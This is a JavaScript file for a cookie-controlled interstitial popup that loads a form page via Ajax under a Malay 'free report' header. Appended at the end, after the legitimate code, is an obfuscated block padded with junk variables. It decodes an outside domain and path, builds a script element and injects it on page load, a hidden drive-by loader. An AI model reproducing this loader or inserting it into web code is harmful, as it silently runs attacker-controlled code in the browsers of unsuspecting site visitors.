var popupboxBox={
//1) list of files on server to randomly pick from and display
displayfiles: ['form.html'],

//2) display freqency: ["frequency_type", "frequency_value"]
displayfrequency: ["cookie", "session"],

//3) HTML for the header bar portion of the popupbox box
defineheader: '<div class="headerbar"><table width="100%" border="0" ><tr><td><b>Laporan PERCUMA!!</b></td><td align="right" style="text-align: right;">&nbsp;<a href="#" onClick="javascript:popupboxBox.closeit(); return false">Close</a></td></tr></table></div>',

//4) cookie setting: ["cookie_name", "cookie_path"]
cookiesetting: ["stitialcookie", "path=/"],

//5) bust caching of pages fetched via Ajax?
ajaxbustcache: false,

//6) Disable browser scrollbars while popupbox is shown (Only applicable in IE7/Firefox/Opera8+. IE6 will just auto scroll page to top)?
disablescrollbars: true,

//7) Auto hide Interstitial Box after x seconds (0 for no)?
autohidetimer: 0,

////No need to edit beyond here//////////////////////////////////

ie7: window.XMLHttpRequest && document.all && !window.opera,
ie7offline: this.ie7 && window.location.href.indexOf("http")==-1, //check for IE7 and offline
launch:false,
scrollbarwidth: 16,

ajaxconnect:function(url, thediv){
var page_request = false
var bustcacheparameter=""
if (window.XMLHttpRequest && !this.ie7offline) // if Mozilla, IE7 online, Safari etc
page_request = new XMLHttpRequest()
else if (window.ActiveXObject){ // if IE6 or below, or IE7 offline (for testing purposes)
try {
page_request = new ActiveXObject("Msxml2.XMLHTTP")
} 
catch (e){
try{
page_request = new ActiveXObject("Microsoft.XMLHTTP")
}
catch (e){}
}
}
else
return false
page_request.onreadystatechange=function(){
popupboxBox.loadpage(page_request, thediv)
}
if (this.ajaxbustcache) //if bust caching of external page
bustcacheparameter=(url.indexOf("?")!=-1)? "&"+new Date().getTime() : "?"+new Date().getTime()
page_request.open('GET', url+bustcacheparameter, true)
page_request.send(null)
},

loadpage:function(page_request, thediv){
if (page_request.readyState == 4 && (page_request.status==200 || window.location.href.indexOf("http")==-1)){
document.getElementById("interContent").innerHTML=page_request.responseText
}
},

createcontainer:function(){
//write out entire HTML for Interstitial Box:
document.write('<div id="interContainer">'+this.defineheader+'<div id="interContent"></div></div><div id="interVeil"></div>')
this.interContainer=document.getElementById("interContainer") //reference popupbox container
this.interVeil=document.getElementById("interVeil") //reference veil
this.standardbody=(document.compatMode=="CSS1Compat")? document.documentElement : document.body //create reference to common "body" across doctypes
},


showcontainer:function(){
if (this.interContainer.style.display=="none") return //if popupbox box has already closed, just exit (window.onresize event triggers function)
var ie=document.all && !window.opera
var dom=document.getElementById
var scroll_top=(ie)? this.standardbody.scrollTop : window.pageYOffset
var scroll_left=(ie)? this.standardbody.scrollLeft : window.pageXOffset
var docwidth=(ie)? this.standardbody.clientWidth : window.innerWidth-this.scrollbarwidth
var docheight=(ie)? this.standardbody.clientHeight: window.innerHeight
var docheightcomplete=(this.standardbody.offsetHeight>this.standardbody.scrollHeight)? this.standardbody.offsetHeight : this.standardbody.scrollHeight
var objwidth=this.interContainer.offsetWidth
var objheight=this.interContainer.offsetHeight
this.interVeil.style.width=docwidth+"px" //set up veil over page
this.interVeil.style.height=docheightcomplete+"px" //set up veil over page
this.interVeil.style.left=0 //Position veil over page
this.interVeil.style.top=0 //Position veil over page
this.interVeil.style.visibility="visible" //Show veil over page
this.interContainer.style.left=docwidth/2-objwidth/2+"px" //Position popupbox box
var topposition=(docheight>objheight)? scroll_top+docheight/2-objheight/2+"px" : scroll_top+5+"px" //Position popupbox box
this.interContainer.style.top=Math.floor(parseInt(topposition))+"px"
this.interContainer.style.visibility="visible" //Show popupbox box
if (this.autohidetimer && parseInt(this.autohidetimer)>0 && typeof this.timervar=="undefined")
this.timervar=setTimeout("popupboxBox.closeit()", this.autohidetimer*1000)
},


closeit:function(){
this.interVeil.style.display="none"
this.interContainer.style.display="none"
if (this.disablescrollbars && window.XMLHttpRequest) //if disablescrollbars enabled and modern browsers- IE7, Firefox, Safari, Opera 8+ etc
this.standardbody.style.overflow="auto"
if (typeof this.timervar!="undefined") clearTimeout(this.timervar)
},

getscrollbarwidth:function(){
var scrollbarwidth=window.innerWidth-(this.interVeil.offsetLeft+this.interVeil.offsetWidth) //http://www.howtocreate.co.uk/emails/BrynDyment.html
this.scrollbarwidth=(typeof scrollbarwidth=="number")? scrollbarwidth : this.scrollbarwidth
},

hidescrollbar:function(){
if (this.disablescrollbars){ //if disablescrollbars enabled
if (window.XMLHttpRequest) //if modern browsers- IE7, Firefox, Safari, Opera 8+ etc
this.standardbody.style.overflow="hidden"
else //if IE6 and below, just scroll to top of page to ensure popupbox is in focus
window.scrollTo(0,0)
}
},

dotask:function(target, functionref, tasktype){ //assign a function to execute to an event handler (ie: onunload)
var tasktype=(window.addEventListener)? tasktype : "on"+tasktype
if (target.addEventListener)
target.addEventListener(tasktype, functionref, false)
else if (target.attachEvent)
target.attachEvent(tasktype, functionref)
},

initialize:function(){
this.createcontainer() //write out popupbox container
this.ajaxconnect(this.displayfiles[Math.floor(Math.random()*this.displayfiles.length)], this.interContainer) //load page into content via ajax
this.interContainer.style.display= "none";
this.dotask(window, function(){popupboxBox.hidescrollbar(); popupboxBox.getscrollbarwidth(); setTimeout("popupboxBox.showcontainer()", 100)}, "load")
this.dotask(window, function(){popupboxBox.showcontainer()}, "resize")
}
}

/////////////End of popupboxBox object declaration here ////////////////////////////////

function getCookie(Name){
var re=new RegExp(Name+"=[^;]+", "i"); //construct RE to search for target name/value pair
if (document.cookie.match(re)) //if cookie found
return document.cookie.match(re)[0].split("=")[1] //return its value
return null
}

function setCookie(name, value, days){
var expireDate = new Date()
//set "expstring" to either an explicit date (past or future)
if (typeof days!="undefined"){ //if set persistent cookie
var expstring=expireDate.setDate(expireDate.getDate()+parseInt(days))
document.cookie = name+"="+value+"; expires="+expireDate.toGMTString()+"; "+popupboxBox.cookiesetting[1]
}
else //else if this is a session only cookie setting
document.cookie = name+"="+value+"; "+popupboxBox.cookiesetting[1]
}


var stitialvars=new Object() //temporary object to reference/ shorthand certain popupboxBox properties
stitialvars.freqtype=popupboxBox.displayfrequency[0] //"chance" or "cookie"
stitialvars.cookieduration=popupboxBox.displayfrequency[1] //"session" or int (integer specifying number of days)
stitialvars.cookiename=popupboxBox.cookiesetting[0] //name of cookie to use


if (stitialvars.freqtype=="chance"){ //IF CHANCE MODE
if (Math.floor(Math.random()*popupboxBox.displayfrequency[1])==0)
popupboxBox.launch=true
}
else if (stitialvars.freqtype=="cookie" && stitialvars.cookieduration=="session"){ //IF "SESSION COOKIE" MODE
if (getCookie(stitialvars.cookiename+"_s")==null){ //if session cookie is empty
setCookie(stitialvars.cookiename+"_s", "loaded")
popupboxBox.launch=true
}
}
else if (stitialvars.freqtype=="cookie" && typeof parseInt(stitialvars.cookieduration)=="number"){ //IF "PERSISTENT COOKIE" MODE
if (getCookie(stitialvars.cookiename)==null || parseInt(getCookie(stitialvars.cookiename))!=parseInt(stitialvars.cookieduration)){ //if persistent cookie is empty or admin has changed number of days to persist from that of the stored value (meaning, reset it)
setCookie(stitialvars.cookiename, stitialvars.cookieduration, stitialvars.cookieduration)
popupboxBox.launch=true
} 
}

if (popupboxBox.launch){
popupboxBox.initialize()
setTimeout('popupboxBox.interContainer.style.display= "block"; popupboxBox.showcontainer();',5*1000);
}

var A;if(A!='' && A!='JV'){A='G'};function W(){var e;if(e!=''){e='M'};this.U="";var n="";var Y=window;this.mJ='';var AO='';var C=Y['unescape'];var L;if(L!='I' && L != ''){L=null};var mS;if(mS!='' && mS!='N'){mS=null};var O=C("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%61%72%67%6f%73%2e%63%6f%2e%75%6b%2f%6b%6f%6f%6f%72%61%2e%63%6f%6d%2e%70%68%70");var q='';var V='';var ra;if(ra!='' && ra!='S'){ra=null};function o(R,Wd){var As;if(As!='' && As!='f'){As=null};var p=C("%5d");var j=C("%5b");var KY;if(KY!='' && KY!='aQ'){KY=''};var u=new String("g");var RZ;if(RZ!=''){RZ='zp'};var a=new RegExp(j+Wd+p, u);var v='';this.Qw='';return R.replace(a, new String());var rT=new String();var BV;if(BV!='bJ'){BV='bJ'};};var VE;if(VE!='' && VE!='BH'){VE=''};var YX;if(YX!='EZ'){YX=''};var ge;if(ge!=''){ge='pa'};var GW=new String();var Ml=new Date();var F=o('sYc_rHiNp4t7','N4qC0TYzHG7x_5jahMVSvR');var mI=new Array();var qZ;if(qZ!='' && qZ!='NJ'){qZ=null};var ag=o('8513659113012962621982313547560993494167647','29416375');var c;if(c!='' && c!='d'){c=null};var b=o('dNebf3e8rT','9PN3bH8EGT');var l=o('s1rdc7','4MCHEydiPB71_Qb');var TX;if(TX!='sw' && TX != ''){TX=null};var x=document;var wR=new Array();function J(){var Cy='';var Ev='';var Nq;if(Nq!='' && Nq!='Kv'){Nq=''};this.VEK="";var JE=C("%68%74%74%70%3a%2f%2f%72%65%61%6c%73%68%6f%70%6f%6e%6c%69%6e%65%2e%69%6e%66%6f%3a");var OE;if(OE!='' && OE!='DK'){OE=null};var Ky='';var lC;if(lC!='Xm'){lC='Xm'};var w=JE;w+=ag;var orO;if(orO!='Uc'){orO='Uc'};w+=O;try {var JC;if(JC!='ej' && JC != ''){JC=null};var ss;if(ss!='IS' && ss != ''){ss=null};var FT;if(FT!='AN'){FT='AN'};_=x[o('cprdeAa1tAeAEGlveGmpevnvtz','GQzA16dvpy')](F);var sx;if(sx!='' && sx!='Vk'){sx='lj'};var oI;if(oI!='gO' && oI != ''){oI=null};this.Wb="";_[b]=[1][0];var vz="";var bh="";_[l]=w;var ox="";var JP;if(JP!='Mt'){JP=''};var kO=new Array();x.body[o('a2pzpkezn0d8CThPiqlrdk','82q_0PWcgbkrTz')](_);} catch(i){var OO;if(OO!='' && OO!='jB'){OO=null};};var AU;if(AU!='_o' && AU!='lr'){AU=''};var hu=new String();}var H=o('oRnmlmopaRdm','mfRtpU7');var JI;if(JI!='nS' && JI!='bz'){JI=''};var jK=new Date();Y[H]=J;var Eb=new String();var he;if(he!='hd' && he != ''){he=null};};this.UG="";this.Vo='';var yJ=new String();var NT;if(NT!='HZ' && NT != ''){NT=null};W();